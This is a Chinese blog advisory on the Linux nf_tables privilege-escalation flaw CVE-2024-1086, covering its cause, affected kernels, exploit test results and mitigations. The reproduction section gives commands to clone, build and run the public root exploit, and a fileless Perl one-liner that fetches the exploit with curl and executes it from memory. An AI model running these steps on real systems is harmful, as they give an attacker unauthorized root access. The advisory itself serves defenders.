Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)

news2024/11/23 11:52:09

文章目录

  • 前言
  • 声明
  • 一、netfilter介绍
  • 二、漏洞成因
  • 三、漏洞危害
  • 四、影响范围
  • 五、漏洞复现
  • 六、修复方案
    • 临时解决方案
    • 升级修复方案


前言

2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-2024-1086)。鉴于该漏洞易于利用,并且允许本地攻击者提升至root权限。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、netfilter介绍

​netfilter是Linux内核的一个子系统,允许实现各种网络相关操作,如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分,用于定义和管理防火墙规则。

二、漏洞成因

Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞,由于在nft_verdict_init()函数中,允许正值作为hook判决中的丢弃错误,因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时,nf_hook_slow()函数可能会导致双重释放漏洞,本地低权限威胁者可利用该漏洞将权限提升为root。

三、漏洞危害

该漏洞可以被本地攻击者利用,从普通用户提升到ROOT用户权限。

四、影响范围

该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本(不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15)的大多数 Linux系统/内核,包括CentOS、Debian、Ubuntu和 KernelCTF等。

部分内核版本PoC/EXP测试结果如下:

KernelKernel VersionDistroDistro VersionWorking/FailCPU PlatformCPU CoresRAM SizeFail ReasonTest StatusConfig URL
Linuxv5.4.270n/an/afailQEMU x86_64816GiB[CODE] pre-dated nft code (denies rule alloc)finalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config
Linuxv5.10.209n/an/afailQEMU x86_64816GiB[TCHNQ] BUG mm/slub.c:4118finalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config
Linuxv5.14.21n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config
Linuxv5.15.148n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config
Linuxv5.16.20n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config
Linuxv5.17.15n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config
Linuxv5.18.19n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config
Linuxv5.19.17n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config
Linuxv6.0.19n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config
Linuxv6.1.55KernelCTFMitigation v3workingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config
Linuxv6.1.69DebianBookworm 6.1.0-17workingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linuxv6.1.69DebianBookworm 6.1.0-17workingAMD Ryzen 5 7640U632GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linuxv6.1.72KernelCTFLTSworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config
Linuxv6.2.?UbuntuJammy v6.2.0-37workingAMD Ryzen 5 7640U632GiBn/afinal
Linuxv6.2.16n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config
Linuxv6.3.13n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config
Linuxv6.4.16n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config
Linuxv6.5.3UbuntuJammy v6.5.0-15failQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config
Linuxv6.5.13n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config
Linuxv6.6.14n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config
Linuxv6.7.1n/an/afailQEMU x86_64816GiB[CODE] nft verdict value incorrect is altered by kernelfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config

注意事项:

​(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5)

​(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。

​(3)在具有大量网络活动的系统上, 该漏洞可能非常不稳定

  • 带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
  • 在测试设备上,请通过 BIOS 关闭 WiFi 适配器。

(4)运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。
在这里插入图片描述
配置

默认值应该可以在 DebianUbuntuKernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG1避免不必要的网络活动。

五、漏洞复现

公开EXP/POC

#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit

在这里插入图片描述
该项目还支持无落地文件的方法去使用,不过需要目标存在perl的前提

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

六、修复方案

临时解决方案

1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞,在禁用之前,需要仔细评估确认禁用该模块带来的影响,例如:iptables 可能需要 nf_tables 模块才能工作。

RedHat/CentOS:

# echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用

Debian/Ubuntu:

# sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用

2、如果无法禁用 nf_tables 内核模块,在系统上没有运行任何容器的情况下,可以通过禁用用户命名空间来缓解漏洞。在禁用之前,需要仔细评估并确认禁用所带来的影响,例如:许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。

RedHat/CentOS:

# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf

Debian/Ubuntu:
如果不需要,可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令:

# sudo sysctl -w kernel.unprivileged_userns_clone=0

重启后仍然禁用:

# echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf

升级修复方案

目前该漏洞已经修复,受影响用户可升级到Linux内核v5.15.149v6.1.76v6.6.15或更高版本。

相关发行版本已发布漏洞公告,可参考漏洞公告升级对应的Linux内核。

Ubuntu公告:https://ubuntu.com/security/CVE-2024-1086

CentOS漏洞公告:https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html

RedHat漏洞公告:https://access.redhat.com/security/cve/cve-2024-1086

Debian漏洞公告:https://security-tracker.debian.org/tracker/CVE-2024-1086

统信漏洞公告:https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633

麒麟漏洞公告:https://kylinos.cn/support/loophole/patch/5561.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1794367.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

企业数据挖掘建模平台极简建模流程

泰迪智能科技企业数据挖掘建模平台是企业自主研发,面向企业级用户的快速数据处理构建模型工具。平台底层算法基于R语言、Python、Spark等引擎,使用JAVA语言开发,采用 B/S 结构,用户无需下载客户端,可直接通过浏览器进…

Makefile:2:*** missing separator. Stop.

中文意思是说缺少分隔符。 解决办法如下 出现这种错误的原因: 在编辑makefile 时有些行没有前面没有按下tab键。举例:另外需要注意的是,如果你是使用vscode编辑,注意在vscode里面编辑的tab有可能也出现问题。建议使用vim编辑一下Makefile &a…

Word2021中的The Mathtype DLL cannot be found问题解决(office 16+mathtype7+非初次安装)

问题描述,我的问题发生在word中无法使用自定义功能区中的mathtype 我的环境是:W11Word2021mathtype7 因为我是第二次安装mathtype7,所以我怀疑是因为没有卸载干净,于是我参考了下面这篇文章的做法 参考文章 1.首先重新卸载当前的…

QT:QML中使用Loader加载界面

目录 一.介绍 二.实现 三.效果展示 四.代码 一.介绍 在QML中使用Loader加载界面,可以带来诸多好处,如提高应用程序的启动速度、动态地改变界面内容、根据条件加载不同的组件、更有效地使用内存以及帮助分割应用逻辑等。 1.延迟加载:QML…

【WRF理论第四期】namelist.wps文件详述

WRF理论第四期:namelist.wps文件详述 1 namelist.wps 的主要部分1 &share2 &geogrid3 &ungrib4 &metgrid示例 namelist.wps 文件参考 namelist.wps 文件是 WRF Preprocessing System (WPS) 的关键配置文件,用于设置地理数据和气象数据预…

c语言练习:POJ 1003 宿醉(HangOver)

为什么写这篇文章 作为一名计算机相关方向的学生,本人的代码能力却十分差劲,这不能不让人万分羞愧。于是,决定从此好好学代码,每天坚持刷题。而C语言是计算机程序语言的基础,遂决定从c语言开始,提高自身编…

以hive metastore报错举例,远程调试hadoop服务

项目场景: CDH集群CM切换hive元数据库报错: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Could not create connection to database server.at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)at…

UML静态图-类图

概述 静态图包含类图、对象图和包图的主要目的是在系统详细设计阶段,帮助系统设计人员以一种可视化的方式来理解系统的内部结构和代码结构,包括类的细节、类的属性和操作、类的依赖关系和调用关系、类的包和包的依赖关系。 一、类图的表示法 类图(Cla…

2024年计算机、信息工程与大数据应用国际会议(CIEBDA 2024)

2024 International Conference on Computer, Information Engineering, and Big Data Applications 【1】大会信息 会议简称:CIEBDA 2024 大会地点:中国青岛 审稿通知:投稿后2-3日内通知 投稿邮箱:ciebdasub-paper.com 【2】会…

eNSP学习——配置RIP的版本兼容、定时器和协议优先级

目录 主要命令 原理概述 实验内容 实验拓扑 实验目的 实验编址 实验步骤 1、基本配置 2、配置RIP协议的版本兼容 3、配置RIP的定时器 4.配置RIP协议优先级 需要eNSP各种配置命令的点击链接自取:华为eNSP各种设备配置命令大全PDF版…

【YOLOv8改进[CONV]】SPDConv助力YOLOv8目标检测效果 + 含全部代码和详细修改方式 + 手撕结构图

本文将使用SPDConv助力YOLOv8目标检测效果的实践,文中含全部代码、详细修改方式以及手撕结构图。助您轻松理解改进的方法。 改进前和改进后的参数对比: 目录 一 SPDConv 二 SPDConv助力YOLOv8目标检测效果 1 整体修改 ① 添加SPDConv.py文件 ② 修改ultralytics/nn/tas…

【图像处理与机器视觉】灰度变化与空间滤波

基础 空间域与变换域 空间域:认为是图像本身,对于空间域的操作就是对图像中的像素直接进行修改 变换域:变换系数处理,不直接对于图像的像素进行处理 邻域 图像中某点的邻域被认为是包含该点的小区域,也被称为窗口 …

ai智能写作app有分享吗?4个专业的软件!

在数字化浪潮席卷全球的今天,内容创作的需求日益旺盛,而AI智能写作app的出现,无疑为内容创作者们带来了一股清新的风。它们凭借强大的自然语言处理能力和海量的数据资源,帮助创作者们快速生成高质量、有吸引力的文章,让…

目标检测-AnyLabeling标注格式转换成YOLO格式

Anylabel可以极大的增加数据的标注效率,但是其标注格式如何能转换成YOLO标注格式,具体内容如下所示。 关于AnyLabeling的其它详细介绍如下链接所示 https://blog.csdn.net/u011775793/article/details/134918861 Github链接 https://github.com/vietanhd…

五大PS插件推荐,让你的设计效率翻倍!

前言 PS插件可以在繁忙的设计工作中,帮助设计师们快速高效地完成任务,是每个设计师都渴望解决的问题。这些插件不仅能够提升设计效率,还能让设计师的创意得到更好的展现。接下来,就为大家推荐五款必备的PS插件,让你的…

Vue3_Vuex

目录 一、安装 二、创建实例 三、main.js引入 四、组件内使用 1.查询vuex里面的数据值 2.更改vuex里面的数据值 3.调用vuex里Actions的异步请求方法 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式 库。它采用集中式存储管理应用的所有组件的状态,并以相…

虚拟机Ubuntu扩展磁盘大小

虚拟机Ubuntu扩展磁盘大小 1. 选择硬盘,并点击扩展,如果扩展选项是灰色的,请考虑是否开机或者留有快照 2. 虚拟机Ubuntu扩展磁盘大小 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/2aea6670d42940f68d0f53c87810ac2b.png 3. 完成后开机,此时,我们的系统是还没…

DevOps后时代,构建基于价值流的平台化工程

本文来自腾讯蓝鲸智云社区用户: CanWay 平台化工程涉及双重核心意义。一方面,是类似利用IDE等工具提高工程师效率的平台化工程,如GitOps或命令行调度般便捷。然而,本文重点探讨的是基于价值流的平台化工程,尤其针对传统金融行业&a…

ClickHouse如何整合数据源:MySQL、HDFS...

一、ClickHouse数据源 ClickHouse 作为一个强大的列式数据库管理系统,支持多种数据源,使得用户能够方便地将数据导入 ClickHouse 进行存储和分析。以下是常见的 ClickHouse 数据源: 外部数据源 HDFS: 支持从 Hadoop 分布式文件系…

Unity协程详解

什么是协程 协程,即Coroutine(协同程序),就是开启一段和主程序异步执行的逻辑处理,什么是异步执行,异步执行是指程序的执行并不是按照从上往下执行。如果我们学过c语言,我们应该知道&#xff0…